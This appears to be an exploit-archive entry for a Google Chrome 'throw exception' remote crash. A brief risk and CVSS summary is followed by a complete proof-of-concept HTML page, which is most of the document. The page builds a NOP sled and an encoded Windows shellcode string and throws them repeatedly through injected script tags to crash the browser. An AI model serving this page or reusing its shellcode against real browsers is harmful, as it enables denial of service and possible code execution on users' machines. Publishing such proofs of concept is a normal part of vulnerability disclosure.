Google Chrome (Null Pointer) Remote Crash

Risk: Medium
Local: No
Remote: Yes
CWE: CWE-399

CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

<html> <head> <title>Google Chrome "throw exception" Remote Crash and Denial of Service - </title> <script language="JavaScript"> var nop_sled=unescape("%u9090"); var shellcode_sled=unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%u7e68%ue2d8%u6873%ufe98%u0e8a%uff57%u63e7%u6c61%u2e63%u7865%u0065"); for(var i=0;i<64;i++){ nop_sled=nop_sled+nop_sled; document.write('<script>throw nop_sled+shellcode_sled;</scr'+'ipt>'); } </script> </head> <body> <center><h1> Google Chrome "throw exception" Remote Crash and Denial of Service</h1> <h2> Executing NOP Sled and Shellcode to create an Exception</h2> <h2> SecNiche Security (C) Aditya K Sood </h2> </center></body> </html>


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